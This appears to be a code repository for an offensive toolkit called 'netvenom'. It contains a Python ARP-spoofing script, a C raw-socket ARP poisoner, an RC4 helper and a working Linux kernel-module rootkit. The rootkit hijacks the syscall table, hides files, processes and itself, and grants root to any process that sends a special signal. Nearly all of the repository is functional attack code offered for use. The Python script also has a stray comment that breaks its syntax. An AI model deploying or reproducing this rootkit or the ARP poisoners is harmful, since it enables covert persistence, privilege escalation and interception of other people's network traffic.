├── requirements.txt ├── README ├── src ├── Makefile ├── narc4.h ├── netvenom.h ├── narc4.c ├── netpoison.c └── netvenom.c ├── LICENSE ├── netvenom.py └── .gitignore /requirements.txt: -------------------------------------------------------------------------------- 1 | scapy==2.4.3 2 | -------------------------------------------------------------------------------- /README: -------------------------------------------------------------------------------- 1 | N E T V E N O M 2 | --------------------- 3 | 4 | arp poisoning 5 | tcp manipulation 6 | network attack && enumerate 7 | 8 | Thanks to: m0nad 9 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := netvenom.o 2 | CC = gcc -Wall 3 | KDIR := /lib/modules/$(shell uname -r)/build 4 | PWD := $(shell pwd) 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(PWD) modules 8 | 9 | clean: 10 | $(MAKE) -C $(KDIR) M=$(PWD) clean 11 | -------------------------------------------------------------------------------- /src/narc4.h: -------------------------------------------------------------------------------- 1 | void 2 | ksa(unsigned char * S, const char * key, unsigned const int len); 3 | 4 | void 5 | prga(unsigned char * S, unsigned char * K, unsigned const int len); 6 | 7 | void 8 | rc4crypt(char * plaintext, unsigned const char * K, unsigned const int len); 9 | 10 | void 11 | rc4decrypt(char * ciphertext, unsigned const char * K, unsigned const int len); 12 | -------------------------------------------------------------------------------- /src/netvenom.h: -------------------------------------------------------------------------------- 1 | struct linux_dirent { 2 | unsigned long d_ino; 3 | unsigned long d_off; 4 | unsigned short d_reclen; 5 | char d_name[1]; 6 | }; 7 | 8 | #define MAGIC_PREFIX "netvenom_secret" 9 | 10 | #define PF_INVISIBLE 0x10000000 11 | 12 | #define MODULE_NAME "netvenom" 13 | 14 | enum { 15 | SIGINVIS = 31, 16 | SIGSUPER = 64, 17 | SIGMODINVIS = 63, 18 | }; 19 | 20 | #ifndef IS_ENABLED 21 | #define IS_ENABLED(option) \ 22 | (defined(__enabled_ ## option) || defined(__enabled_ ## option ## _MODULE)) 23 | #endif 24 | 25 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) 26 | #define KPROBE_LOOKUP 1 27 | #include 28 | static struct kprobe kp = { 29 | .symbol_name = "kallsyms_lookup_name" 30 | }; 31 | #endif 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | ISC License 2 | 3 | Copyright (c) 2024 Sulaiman - Victor Ramos Mello 4 | 5 | Permission to use, copy, modify, and/or distribute this software for any 6 | purpose with or without fee is hereby granted, provided that the above 7 | copyright notice and this permission notice appear in all copies. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES 10 | WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF 11 | MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR 12 | ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES 13 | WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN 14 | ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF 15 | OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. -------------------------------------------------------------------------------- /src/narc4.c: -------------------------------------------------------------------------------- 1 | //arc4 implementation (https://en.wikipedia.org/wiki/RC4) - m0nad 2 | 3 | void 4 | swap(unsigned char * a, unsigned char * b) 5 | { 6 | if (*a != *b) { 7 | *a ^= *b; 8 | *b ^= *a; 9 | *a ^= *b; 10 | } 11 | } 12 | 13 | void 14 | ksa(unsigned char * S, const char * key, unsigned const int len) 15 | { 16 | unsigned int i, j; 17 | for (i = 0; i < 256; i++) { 18 | S[i] = i; 19 | } 20 | for (j = 0, i = 0; i < 256; i++) { 21 | j = (j + S[i] + key[i % len]) % 256; 22 | swap(S+i, S+j); 23 | } 24 | } 25 | 26 | void 27 | prga(unsigned char * S, unsigned char * K, unsigned const int len) 28 | { 29 | unsigned int i, j, k; 30 | for (i = 0, j = 0, k = 0; k < len; k++) { 31 | i = (i + 1) % 256; 32 | j = (j + S[i]) % 256; 33 | swap(S+i, S+j); 34 | K[k] = S[(S[i] + S[j]) % 256]; 35 | } 36 | } 37 | 38 | void 39 | rc4crypt(char * plaintext, unsigned const char * K, unsigned const int len) 40 | { 41 | unsigned int i; 42 | for (i = 0; i < len; i++) 43 | plaintext[i] ^= K[i]; 44 | } 45 | 46 | void 47 | rc4decrypt(char * ciphertext, unsigned const char * K, unsigned const int len) 48 | { 49 | unsigned int i; 50 | for (i = 0; i < len; i++) 51 | ciphertext[i] ^= K[i]; 52 | } 53 | 54 | -------------------------------------------------------------------------------- /netvenom.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import platform 4 | import urllib.request 5 | import cv2 6 | import scapy.all as scapy 7 | from distutils.dir_util import copy_tree 8 | 9 | def restore_defaults(dest, source): 10 | target_mac = get_mac(dest) 11 | source_mac = get_mac(source) 12 | packet = scapy.ARP(op=2, pdst=dest, hwdst=target_mac, psrc=source, hwsrc=source_mac) 13 | scapy.send(packet, verbose=False) 14 | 15 | def get_mac(ip): 16 | request = scapy.ARP(pdst=ip) 17 | broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") 18 | final_packet = broadcast / request 19 | answer = scapy.srp(final_packet, timeout=2, verbose=False)[0] 20 | mac = answer[0][1].hwsrc 21 | return mac 22 | 23 | def spoofing(target, spoofed): 24 | mac = get_mac(target) 25 | packet = scapy.ARP(op=2, hwdst=mac, pdst=target, psrc=spoofed) 26 | scapy.send(packet, verbose=False) 27 | 28 | def main(): 29 | try: 30 | while True: 31 | spoofing("192.168.1.1", "192.168.1.130") (source, dest -> attacker machine) 32 | spoofing("192.168.1.130", "192.168.1.1") 33 | except KeyboardInterrupt: 34 | print("[!] Process stopped. Restoring defaults .. please hold") 35 | restore_defaults("192.168.1.1", "192.168.1.130") 36 | restore_defaults("192.168.1.130", "192.168.1.1") 37 | exit(0) 38 | 39 | if __name__ == "__main__": 40 | main() 41 | -------------------------------------------------------------------------------- /src/netpoison.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define IP4LEN 4 14 | #define PKTLEN sizeof(struct ether_header) + sizeof(struct ether_arp) 15 | 16 | int sock; 17 | void 18 | usage() 19 | { 20 | puts("usage:\t./netvenom "); 21 | puts("ex:\t./netvenom eth0 10.1.1.1 aa:bb:cc:dd:ee:ff"); 22 | exit(1); 23 | } 24 | 25 | void 26 | cleanup() 27 | { 28 | close(sock); 29 | exit(0); 30 | } 31 | 32 | int 33 | main(int argc, char ** argv) 34 | { 35 | char packet[PKTLEN]; 36 | struct ether_header * eth = (struct ether_header *) packet; 37 | struct ether_arp * arp = (struct ether_arp *) (packet + sizeof(struct ether_header)); 38 | struct sockaddr_ll device; 39 | 40 | if (argc < 4) { 41 | usage(); 42 | } 43 | 44 | sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); 45 | if (sock < 0) 46 | perror("socket"), exit(1); 47 | 48 | signal(SIGINT, cleanup); 49 | 50 | sscanf(argv[3], "%x:%x:%x:%x:%x:%x", (unsigned int *) &arp->arp_sha[0], 51 | (unsigned int *) &arp->arp_sha[1], 52 | (unsigned int *) &arp->arp_sha[2], 53 | (unsigned int *) &arp->arp_sha[3], 54 | (unsigned int *) &arp->arp_sha[4], 55 | (unsigned int *) &arp->arp_sha[5]); 56 | 57 | sscanf(argv[2], "%d.%d.%d.%d", (int *) &arp->arp_spa[0], 58 | (int *) &arp->arp_spa[1], 59 | (int *) &arp->arp_spa[2], 60 | (int *) &arp->arp_spa[3]); 61 | 62 | memset(eth->ether_dhost, 0xff, ETH_ALEN);//bcast 63 | memcpy(eth->ether_shost, arp->arp_sha, ETH_ALEN); 64 | eth->ether_type = htons(ETH_P_ARP); 65 | 66 | arp->ea_hdr.ar_hrd = htons(ARPHRD_ETHER); 67 | arp->ea_hdr.ar_pro = htons(ETH_P_IP); 68 | arp->ea_hdr.ar_hln = ETH_ALEN; 69 | arp->ea_hdr.ar_pln = IP4LEN; 70 | arp->ea_hdr.ar_op = htons(ARPOP_REPLY); 71 | memset(arp->arp_tha, 0xff, ETH_ALEN); 72 | memset(arp->arp_tpa, 0x00, IP4LEN); 73 | 74 | memset(&device, 0, sizeof(device)); 75 | device.sll_ifindex = if_nametoindex(argv[1]); 76 | device.sll_family = AF_PACKET; 77 | memcpy(device.sll_addr, arp->arp_sha, ETH_ALEN); 78 | device.sll_halen = htons(ETH_ALEN); 79 | 80 | puts("press ctrl+c to exit."); 81 | while (1) { 82 | printf("%s: %s is at %s\n", argv[1], argv[2], argv[3]); 83 | sendto(sock, packet, PKTLEN, 0, (struct sockaddr *) &device, sizeof(device)); 84 | sleep(2); 85 | } 86 | return 0; 87 | } 88 | 89 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /src/netvenom.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 13, 0) 9 | #include 10 | #endif 11 | 12 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0) 13 | #include 14 | #else 15 | #include 16 | #endif 17 | 18 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26) 19 | #include 20 | #else 21 | #include 22 | #endif 23 | 24 | #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 18) 25 | #include 26 | #endif 27 | 28 | #ifndef __NR_getdents 29 | #define __NR_getdents 141 30 | #endif 31 | 32 | #include "netvenom.h" 33 | 34 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 35 | unsigned long cr0; 36 | #elif IS_ENABLED(CONFIG_ARM64) 37 | void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot); 38 | unsigned long start_rodata; 39 | unsigned long init_begin; 40 | #define section_size init_begin - start_rodata 41 | #endif 42 | static unsigned long *__sys_call_table; 43 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 44 | typedef asmlinkage long (*t_syscall)(const struct pt_regs *); 45 | static t_syscall orig_getdents; 46 | static t_syscall orig_getdents64; 47 | static t_syscall orig_kill; 48 | #else 49 | typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *, 50 | unsigned int); 51 | typedef asmlinkage int (*orig_getdents64_t)(unsigned int, 52 | struct linux_dirent64 *, unsigned int); 53 | typedef asmlinkage int (*orig_kill_t)(pid_t, int); 54 | orig_getdents_t orig_getdents; 55 | orig_getdents64_t orig_getdents64; 56 | orig_kill_t orig_kill; 57 | #endif 58 | 59 | unsigned long * 60 | get_syscall_table_bf(void) 61 | { 62 | unsigned long *syscall_table; 63 | 64 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0) 65 | #ifdef KPROBE_LOOKUP 66 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 67 | kallsyms_lookup_name_t kallsyms_lookup_name; 68 | register_kprobe(&kp); 69 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 70 | unregister_kprobe(&kp); 71 | #endif 72 | syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); 73 | return syscall_table; 74 | #else 75 | unsigned long int i; 76 | 77 | for (i = (unsigned long int)sys_close; i < ULONG_MAX; 78 | i += sizeof(void *)) { 79 | syscall_table = (unsigned long *)i; 80 | 81 | if (syscall_table[__NR_close] == (unsigned long)sys_close) 82 | return syscall_table; 83 | } 84 | return NULL; 85 | #endif 86 | } 87 | 88 | struct task_struct * 89 | find_task(pid_t pid) 90 | { 91 | struct task_struct *p = current; 92 | for_each_process(p) { 93 | if (p->pid == pid) 94 | return p; 95 | } 96 | return NULL; 97 | } 98 | 99 | int 100 | is_invisible(pid_t pid) 101 | { 102 | struct task_struct *task; 103 | if (!pid) 104 | return 0; 105 | task = find_task(pid); 106 | if (!task) 107 | return 0; 108 | if (task->flags & PF_INVISIBLE) 109 | return 1; 110 | return 0; 111 | } 112 | 113 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 114 | static asmlinkage long hacked_getdents64(const struct pt_regs *pt_regs) { 115 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 116 | int fd = (int) pt_regs->di; 117 | struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; 118 | #elif IS_ENABLED(CONFIG_ARM64) 119 | int fd = (int) pt_regs->regs[0]; 120 | struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; 121 | #endif 122 | int ret = orig_getdents64(pt_regs), err; 123 | #else 124 | asmlinkage int 125 | hacked_getdents64(unsigned int fd, struct linux_dirent64 __user *dirent, 126 | unsigned int count) 127 | { 128 | int ret = orig_getdents64(fd, dirent, count), err; 129 | #endif 130 | unsigned short proc = 0; 131 | unsigned long off = 0; 132 | struct linux_dirent64 *dir, *kdirent, *prev = NULL; 133 | struct inode *d_inode; 134 | 135 | if (ret <= 0) 136 | return ret; 137 | 138 | kdirent = kzalloc(ret, GFP_KERNEL); 139 | if (kdirent == NULL) 140 | return ret; 141 | 142 | err = copy_from_user(kdirent, dirent, ret); 143 | if (err) 144 | goto out; 145 | 146 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) 147 | d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; 148 | #else 149 | d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; 150 | #endif 151 | if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) 152 | /*&& MINOR(d_inode->i_rdev) == 1*/) 153 | proc = 1; 154 | 155 | while (off < ret) { 156 | dir = (void *)kdirent + off; 157 | if ((!proc && 158 | (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) 159 | || (proc && 160 | is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { 161 | if (dir == kdirent) { 162 | ret -= dir->d_reclen; 163 | memmove(dir, (void *)dir + dir->d_reclen, ret); 164 | continue; 165 | } 166 | prev->d_reclen += dir->d_reclen; 167 | } else 168 | prev = dir; 169 | off += dir->d_reclen; 170 | } 171 | err = copy_to_user(dirent, kdirent, ret); 172 | if (err) 173 | goto out; 174 | out: 175 | kfree(kdirent); 176 | return ret; 177 | } 178 | 179 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 180 | static asmlinkage long hacked_getdents(const struct pt_regs *pt_regs) { 181 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 182 | int fd = (int) pt_regs->di; 183 | struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->si; 184 | #elif IS_ENABLED(CONFIG_ARM64) 185 | int fd = (int) pt_regs->regs[0]; 186 | struct linux_dirent * dirent = (struct linux_dirent *) pt_regs->regs[1]; 187 | #endif 188 | int ret = orig_getdents(pt_regs), err; 189 | #else 190 | asmlinkage int 191 | hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent, 192 | unsigned int count) 193 | { 194 | int ret = orig_getdents(fd, dirent, count), err; 195 | #endif 196 | unsigned short proc = 0; 197 | unsigned long off = 0; 198 | struct linux_dirent *dir, *kdirent, *prev = NULL; 199 | struct inode *d_inode; 200 | 201 | if (ret <= 0) 202 | return ret; 203 | 204 | kdirent = kzalloc(ret, GFP_KERNEL); 205 | if (kdirent == NULL) 206 | return ret; 207 | 208 | err = copy_from_user(kdirent, dirent, ret); 209 | if (err) 210 | goto out; 211 | 212 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0) 213 | d_inode = current->files->fdt->fd[fd]->f_dentry->d_inode; 214 | #else 215 | d_inode = current->files->fdt->fd[fd]->f_path.dentry->d_inode; 216 | #endif 217 | 218 | if (d_inode->i_ino == PROC_ROOT_INO && !MAJOR(d_inode->i_rdev) 219 | /*&& MINOR(d_inode->i_rdev) == 1*/) 220 | proc = 1; 221 | 222 | while (off < ret) { 223 | dir = (void *)kdirent + off; 224 | if ((!proc && 225 | (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) == 0)) 226 | || (proc && 227 | is_invisible(simple_strtoul(dir->d_name, NULL, 10)))) { 228 | if (dir == kdirent) { 229 | ret -= dir->d_reclen; 230 | memmove(dir, (void *)dir + dir->d_reclen, ret); 231 | continue; 232 | } 233 | prev->d_reclen += dir->d_reclen; 234 | } else 235 | prev = dir; 236 | off += dir->d_reclen; 237 | } 238 | err = copy_to_user(dirent, kdirent, ret); 239 | if (err) 240 | goto out; 241 | out: 242 | kfree(kdirent); 243 | return ret; 244 | } 245 | 246 | void 247 | give_root(void) 248 | { 249 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) 250 | current->uid = current->gid = 0; 251 | current->euid = current->egid = 0; 252 | current->suid = current->sgid = 0; 253 | current->fsuid = current->fsgid = 0; 254 | #else 255 | struct cred *newcreds; 256 | newcreds = prepare_creds(); 257 | if (newcreds == NULL) 258 | return; 259 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \ 260 | && defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \ 261 | || LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) 262 | newcreds->uid.val = newcreds->gid.val = 0; 263 | newcreds->euid.val = newcreds->egid.val = 0; 264 | newcreds->suid.val = newcreds->sgid.val = 0; 265 | newcreds->fsuid.val = newcreds->fsgid.val = 0; 266 | #else 267 | newcreds->uid = newcreds->gid = 0; 268 | newcreds->euid = newcreds->egid = 0; 269 | newcreds->suid = newcreds->sgid = 0; 270 | newcreds->fsuid = newcreds->fsgid = 0; 271 | #endif 272 | commit_creds(newcreds); 273 | #endif 274 | } 275 | 276 | static inline void 277 | tidy(void) 278 | { 279 | kfree(THIS_MODULE->sect_attrs); 280 | THIS_MODULE->sect_attrs = NULL; 281 | } 282 | 283 | static struct list_head *module_previous; 284 | static short module_hidden = 0; 285 | void 286 | module_show(void) 287 | { 288 | list_add(&THIS_MODULE->list, module_previous); 289 | module_hidden = 0; 290 | } 291 | 292 | void 293 | module_hide(void) 294 | { 295 | module_previous = THIS_MODULE->list.prev; 296 | list_del(&THIS_MODULE->list); 297 | module_hidden = 1; 298 | } 299 | 300 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 301 | asmlinkage int 302 | hacked_kill(const struct pt_regs *pt_regs) 303 | { 304 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 305 | pid_t pid = (pid_t) pt_regs->di; 306 | int sig = (int) pt_regs->si; 307 | #elif IS_ENABLED(CONFIG_ARM64) 308 | pid_t pid = (pid_t) pt_regs->regs[0]; 309 | int sig = (int) pt_regs->regs[1]; 310 | #endif 311 | #else 312 | asmlinkage int 313 | hacked_kill(pid_t pid, int sig) 314 | { 315 | #endif 316 | struct task_struct *task; 317 | switch (sig) { 318 | case SIGINVIS: 319 | if ((task = find_task(pid)) == NULL) 320 | return -ESRCH; 321 | task->flags ^= PF_INVISIBLE; 322 | break; 323 | case SIGSUPER: 324 | give_root(); 325 | break; 326 | case SIGMODINVIS: 327 | if (module_hidden) module_show(); 328 | else module_hide(); 329 | break; 330 | default: 331 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 332 | return orig_kill(pt_regs); 333 | #else 334 | return orig_kill(pid, sig); 335 | #endif 336 | } 337 | return 0; 338 | } 339 | 340 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 341 | static inline void 342 | write_cr0_forced(unsigned long val) 343 | { 344 | unsigned long __force_order; 345 | 346 | asm volatile( 347 | "mov %0, %%cr0" 348 | : "+r"(val), "+m"(__force_order)); 349 | } 350 | #endif 351 | 352 | static inline void 353 | protect_memory(void) 354 | { 355 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 356 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 357 | write_cr0_forced(cr0); 358 | #else 359 | write_cr0(cr0); 360 | #endif 361 | #elif IS_ENABLED(CONFIG_ARM64) 362 | update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, 363 | section_size, PAGE_KERNEL_RO); 364 | 365 | #endif 366 | } 367 | 368 | static inline void 369 | unprotect_memory(void) 370 | { 371 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 372 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 373 | write_cr0_forced(cr0 & ~0x00010000); 374 | #else 375 | write_cr0(cr0 & ~0x00010000); 376 | #endif 377 | #elif IS_ENABLED(CONFIG_ARM64) 378 | update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata, 379 | section_size, PAGE_KERNEL); 380 | #endif 381 | } 382 | 383 | static int __init 384 | netvenom_init(void) 385 | { 386 | __sys_call_table = get_syscall_table_bf(); 387 | if (!__sys_call_table) 388 | return -1; 389 | 390 | #if IS_ENABLED(CONFIG_X86) || IS_ENABLED(CONFIG_X86_64) 391 | cr0 = read_cr0(); 392 | #elif IS_ENABLED(CONFIG_ARM64) 393 | update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot"); 394 | start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata"); 395 | init_begin = (unsigned long)kallsyms_lookup_name("__init_begin"); 396 | #endif 397 | 398 | module_hide(); 399 | tidy(); 400 | 401 | #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0) 402 | orig_getdents = (t_syscall)__sys_call_table[__NR_getdents]; 403 | orig_getdents64 = (t_syscall)__sys_call_table[__NR_getdents64]; 404 | orig_kill = (t_syscall)__sys_call_table[__NR_kill]; 405 | #else 406 | orig_getdents = (orig_getdents_t)__sys_call_table[__NR_getdents]; 407 | orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; 408 | orig_kill = (orig_kill_t)__sys_call_table[__NR_kill]; 409 | #endif 410 | 411 | unprotect_memory(); 412 | 413 | __sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; 414 | __sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; 415 | __sys_call_table[__NR_kill] = (unsigned long) hacked_kill; 416 | 417 | protect_memory(); 418 | 419 | return 0; 420 | } 421 | 422 | static void __exit 423 | netvenom_cleanup(void) 424 | { 425 | unprotect_memory(); 426 | 427 | __sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; 428 | __sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; 429 | __sys_call_table[__NR_kill] = (unsigned long) orig_kill; 430 | 431 | protect_memory(); 432 | } 433 | 434 | module_init(netvenom_init); 435 | module_exit(netvenom_cleanup); 436 | 437 | MODULE_LICENSE("Dual BSD/GPL"); 438 | MODULE_AUTHOR("m0nad"); 439 | MODULE_DESCRIPTION("LKM rootkit"); 440 | --------------------------------------------------------------------------------